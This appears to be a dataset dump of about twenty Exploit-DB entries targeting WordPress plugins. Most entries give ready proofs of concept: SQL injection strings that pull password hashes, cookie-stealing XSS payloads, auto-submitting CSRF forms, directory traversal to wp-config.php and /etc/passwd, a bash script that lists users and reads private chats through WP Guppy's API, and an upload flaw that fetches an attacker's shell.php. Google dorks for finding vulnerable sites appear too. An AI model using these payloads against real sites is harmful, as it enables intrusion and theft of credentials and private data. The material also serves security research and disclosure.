deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34124
Description: WordPress Plugin WP BackupPlus - Database and Files Backup Download
Type: webapps
Platform: php
Date: 2014-07-20
Author: pSyCh0_3D

Exploit:
# Exploit Title: Wordpress wpbackupplus Database and files Backup download (0-day)
# Google Dork: Index of:"/wp-backup-plus"
# Date: 19/07/2014
# Exploit Author: pSyCh0_3D (Arfaoui Moslem) https://www.facebook.com/lulz.sec
# Vendor Homepage: http://wpbackupplus.com/
# Version:
# Tested on: win7 32 Bit & Linux Kali 

[+] Description 

wpbackupplus make the backup .zip files and not protected 

[+] Exploit: 

For download all the website files 

http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/ 

For download the Database backup 

http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/temp 

[+]  POC : 

http://[SERVER]/wp-content/uploads/wp-backup-plus/temp/
Exploit-DB #36193
Description: WordPress Plugin WP Bannerize 2.8.7 - 'ajax_sorter.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-09-30
Author: Miroslav Stampar

Exploit:
source: https://www.securityfocus.com/bid/49893/info

The WP Bannerize plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Bannerize 2.8.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/wp-bannerize/ajax_sorter.phplimit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
Exploit-DB #38520
Description: WordPress Plugin WP Cleanfix - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-05-16
Author: Enigma Ideas

Exploit:
source: https://www.securityfocus.com/bid/59940/info

The WP cleanfix plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

WP cleanfix 2.4.4 is vulnerable; other versions may also be affected. 

SRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://www.example.com/wordpress/wordpress-351/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpCleanFixAjax" />
      <input type="hidden" name="command" value="echo&#32;phpversion&#40;&#41;&#59;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #39287
Description: WordPress Plugin WP Content Source Control - 'download.php' Directory Traversal
Type: webapps
Platform: php
Date: 2014-08-19
Author: Henri Salo

Exploit:
source: https://www.securityfocus.com/bid/69278/info

WP Content Source Control plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

WP Content Source Control 3.0.0 is vulnerable; other versions may also be affected. 

www.example.com/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php
Exploit-DB #48910
Description: Wordpress Plugin WP Courses < 2.0.29 - Broken Access Controls leading to Courses Content Disclosure
Type: webapps
Platform: php
Date: 2020-10-20
Author: redtimmysec

Exploit:
# Exploit Title: WP Courses < 2.0.29 - Broken Access Controls leading to 
Courses Content Disclosure
# Exploit Author: Stefan Broeder, Marco Ortisi (redtimmysec)
# Authors blog: https://www.redtimmy.com
# Vendor Homepage: https://wpcoursesplugin.com/
# Version Vulnerable: < 2.0.29
# CVE: (requested but not assigned yet)

WP Courses plugin < 2.0.29 does not protect the courses which could be 
accessed by unauthenticated users using the REST API (/wp-jon/) 
endpoints (for example /wp-json/wp/v2/lesson/{lesson_id}) This could 
result in attackers accessing paying content without authorization.

Full story here: 
https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
Exploit-DB #50174
Description: WordPress Plugin WP Customize Login 1.1 - 'Change Logo Title' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-04
Author: Aryan Chehreghani

Exploit:
# Exploit Title: WordPress Plugin WP Customize Login 1.1 - 'Change Logo Title' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-03
# Exploit Author: Aryan Chehreghani
# Software Link: https://wordpress.org/plugins/customize-login/
# Version: 1.1
# Tested on: Windows 10

How to Reproduce this Vulnerability:

1. Install WordPress 5.8
2. Install and activate  WP Customize Login
3. Navigate to Customize Login under Settings Tab >>  enter the XSS payload into the Change Logo Title input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: "><script>alert(document.cookie)</script>
Exploit-DB #39063
Description: WordPress Plugin WP E-Commerce - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-24
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/65130/info

The WP e-Commerce plugin for WordPress is prone to multiple security vulnerabilities, including:

1. Multiple remote code-execution vulnerabilities.
2. A local file-include vulnerability
3. An arbitrary file-upload vulnerability

An attacker can exploit these issues to execute arbitrary code, include arbitrary local files, upload arbitrary files to the affected computer that may result in arbitrary code execution within the context of the vulnerable application.

WP e-Commerce 3.8.9.5 is vulnerable; other versions may also be affected. 

Local file-include
http://www.example.com/wp-e-commerce/wpsc-includes/misc.functions.php?image_name=[LFI]

Remote code-execution
http://www.example.com/wp-e-commerce/wpsc-admin/ajax.php?wpsc_action=[CMD]
http://www.example.com/wp-e-commerce/wpsc-admin/display-sales-logs.php?c=[CMD]
Exploit-DB #36018
Description: WordPress Plugin WP E-Commerce 3.8.6 - 'cart_messages[]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49009/info

The WP e-Commerce plug-in for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP e-Commerce 3.8.6 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/wp-e-commerce/wpsc-theme/wpsc-cart_widget.php?cart_messages[]=%3Cimg%20src=1% 20onerror=javascript:alert%28document.cookie%29%3E
Exploit-DB #37530
Description: WordPress Plugin WP E-Commerce Shop Styling 2.5 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-07-08
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05, fixed in version 2.6.
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.


1 <?php
2 require_once("../../../../wp-admin/admin.php");
3 
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD  
OSVDB: TBD

Exploit Code:
  • $ curl http://server/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd
Exploit-DB #38915
Description: WordPress Plugin WP Easy Poll 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-12-09
Author: Mysticism

Exploit:
Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF
Exploit Author : Ahn Sung Jun
Date : 2015-12-09
Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/
Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip
Version : 1.1.3
Tested On : kail linux Iceweasel

===========================================
Vulnerable Code : wp_easy_poll.php
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
		global $wpdb;
		$pc = new poll_class;
		
		/* Line 859 */
		$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
		
		$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
		$new_poll_id = $wpdb->insert_id;
		
		$p_anss = $_REQUEST['p_anss'];
		if(is_array($p_anss) and $new_poll_id){
			foreach($p_anss as $key => $value){
				if($value != ''){
					$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
					$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
				}
			}
		}

===========================================
POC (XSS & CSRF)
<html>
	<body onload="javascript:document.forms[0].submit()">
	<form name="f" action="http://192.168.0.8/wordpress/wp-admin/admin.php?page=easy_polls&action=add" method="post">
	<input type="hidden" name="action" value="p_add" />
	<input type="hidden" name="p_ques" value="<script>alert(document.cookie)</script>">
	<input type="hidden" name="p_start" id="p_start" value="2015-11-18 22:55:52" required="required" />
	<input type="hidden" name="p_end" id="p_end" value="2015-11-20 09:00:00" required="required"/>
	<input type="submit" name="submit" value="Submit" class="button" />
	</form>
</html>

===========================================
Secure Coding
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
		global $wpdb;
		$pc = new poll_class;

		/* Secure Coding */
            $_REQUEST['p_ques'] = str_replace("script", "x-script", $_REQUEST['p_ques']);
			$_REQUEST['p_ques'] = str_replace("<", ">", $_REQUEST['p_ques']);
			$_REQUEST['p_ques']= str_replace(">" ,"<", $_REQUEST['p_ques']);

		$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
		
		$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
		$new_poll_id = $wpdb->insert_id;
		
		$p_anss = $_REQUEST['p_anss'];
		if(is_array($p_anss) and $new_poll_id){
			foreach($p_anss as $key => $value){
				if($value != ''){
					$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
					$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
				}
			}
		}
Exploit-DB #38678
Description: WordPress Plugin WP Fastest Cache 0.8.4.8 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-11-11
Author: Kacper Szurek

Exploit:
# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

$_POST["poll_id"] is not escaped properly.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {
	$id = strip_tags($_POST["poll_id"]);
	$id = mysql_real_escape_string($id);

	$result = check_voted($id);

	if($result){
		echo "true";
	}else{
		echo "false";
	}
	die();
}

http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html

2. Proof of Concept

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
	<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
	<input type="submit" value="Send">
</form>

3. Solution:
   
Update to version 0.8.4.9
Exploit-DB #35262
Description: WordPress Plugin WP Featured Post with Thumbnail 3.0 - 'src' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45998/info

The WP Featured Post with Thumbnail Plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Featured Post with Thumbnail Plugin 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/wp-featured-post-with-thumbnail/scripts/timthumb.php?src=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #38624
Description: WordPress Plugin WP Feed - 'nid' SQL Injection
Type: webapps
Platform: php
Date: 2013-07-02
Author: Iranian Exploit DataBase

Exploit:
source: https://www.securityfocus.com/bid/60904/info

WP Feed plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/feed/news_dt.php?nid=[Sql]
Exploit-DB #37195
Description: WordPress Plugin WP Forum Server 1.7.3 - '/fs-admin/fs-admin.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53530/info

WP Forum Server plugin for WordPress is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Forum Server 1.7.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=addforum&amp;groupid=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid=2 AND 1=0 UNION SELECT user_pass FROM wp_users WHERE ID=1

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #50051
Description: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-23
Author: Mohammed Adam

Exploit:
# Exploit Title: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)
# Date: 22/6/2021
# Exploit Author: Mohammed Adam
# Vendor Homepage: https://www.wpgmaps.com/
# Software Link: https://wordpress.org/plugins/wp-google-maps/
# Version: 5.7.2
# Tested on: Windows 10
# CVE: CVE-2021-24383
# References link: https://wpscan.com/vulnerability/1270588c-53fe-447e-b83c-1b877dc7a954

*Proof of Concept*

*Steps to Reproduce:*

1) Edit a map (e.g
/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1)

2) Change Map Name to <script>alert(document.cookie)</script>

3) Save the Map

4) Stored XSS will be triggered when viewing the Map List
(/wp-admin/admin.php?page=wp-google-maps-menu)
Exploit-DB #50540
Description: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure
Type: webapps
Platform: php
Date: 2021-11-23
Author: Keyvan Hardani

Exploit:
# Exploit Title: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure
# Exploit Author: Keyvan Hardani
# Date: 22/11/2021
# Vendor Homepage: https://wp-guppy.com/
# Version: up to 1.1
# Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2
# Usage ./exploit.sh -h

#!/bin/bash

Help()
{
# Display Help
echo "Usage"
echo
echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"
echo
echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"
echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507"
echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493"
echo "-h Print this Help."
echo
}

while getopts ":h" option; do
case $option in
h) # display Help
Help
exit;;
esac
done

if [ $1 == 1 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool
fi

if [ $1 == 2 ]
then
curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":[PII_REDACTED],"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool
fi
if [ $1 == 3 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool
fi
Exploit-DB #42172
Description: WordPress Plugin WP Jobs < 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-11
Author: Dimitrios Tsagkarakis

Exploit:
# Exploit Title: WordPress Plugin WP Jobs < 1.5 - SQL Injection
# Date: 11-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://en-gb.wordpress.org/plugins/wp-jobs/
# Vendor Homepage: http://www.intensewp.com/
# Version: 1.4
# CVE : CVE-2017-9603
# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the WP Jobs plugin before 1.5 for WordPress
allows authenticated users to execute arbitrary SQL commands via the jobid
parameter to wp-admin/edit.php. 

 

2. Proof of Concept:

 

http://[wordpress_site]/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&j
obid=5 UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL-- comment

 

3. Solution:

   

A new version of WP Jobs is available. Update the WordPress WP Jobs to the
latest version.

 

4. Reference:

 

http://dtsa.eu/cve-2017-9603-wordpress-wp-jobs-v-1-4-sql-injection-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9603
Exploit-DB #50086
Description: WordPress Plugin WP Learn Manager 1.1.2 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Mohammed Adam

Exploit:
# Exploit Title: WordPress Plugin WP Learn Manager 1.1.2 - Stored Cross-Site Scripting (XSS)
# Date: July 2, 2021
# Exploit Author: Mohammed Adam 
# Vendor Homepage: https://wplearnmanager.com/
# Software Link: https://wordpress.org/plugins/learn-manager/
# Version: 1.1.2
# References link: https://wpscan.com/vulnerability/e0182508-23f4-4bdb-a1ef-1d1be38f3ad1

*Description:*

The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)

*Proof of Concept:*

POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Connection: close
Upgrade-Insecure-Requests: 1

fieldtitle=Image%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save

Then visit /wp-admin/admin.php?page=jslm_fieldordering&ff=3 as admin to trigger the XSS. It may also be triggered elsewhere
Exploit-DB #36483
Description: WordPress Plugin WP Live.php 1.2.1 - 's' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-01
Author: H4ckCity Security Team

Exploit:
source: https://www.securityfocus.com/bid/51220/info

WP Live.php plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[path]/wp-content/plugins/wp-livephp/wp-live.php?s=[Xss]
Exploit-DB #39891
Description: WordPress Plugin WP Mobile Detector 3.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-06
Author: Aaditya Purani

Exploit:
#Exploit Title: WP Mobile Detector <=3.5 Arbitrary File upload
#Google Dork: inurl: /wp-includes/plugins/wp-mobile-detector
#Date: 1-06-2015
#Exploit Author: Aaditya Purani
#Author Details: https://aadityapurani.com
#Vendor: https://wordpress.org/plugins/wp-mobile-detector/changelog
#Version: 3.5
#Tested on: Kali Linux 2.0 Sana / Windows 10


This Vulnerable has been disclosed to public yesterday about WP Mobile
Detector Arbitrary File upload for version <=3.5 in which attacker can
upload malicious PHP Files (Shell) into the Website. Over 10,000 users are
affected, Vendor has released a Patch in their version 3.6 & 3.7 at
https://wordpress.org/plugins/wp-mobile-detector/changelog/ .

I have wrote a Complete POC post:

https://aadityapurani.com/2016/06/03/mobile-detector-poc/

I have made a POC Video Here:
https://www.youtube.com/watch?v=ULE1AVWfHTU

Simple POC:

Go to: 

[wordpress sitempath].com/wp-content/plugins/wp-mobile-detector/resize.php?src=[link to your shell.php]

and it will get saved in directory:

/wp-content/plugins/wp-mobile-detector/cache/shell.php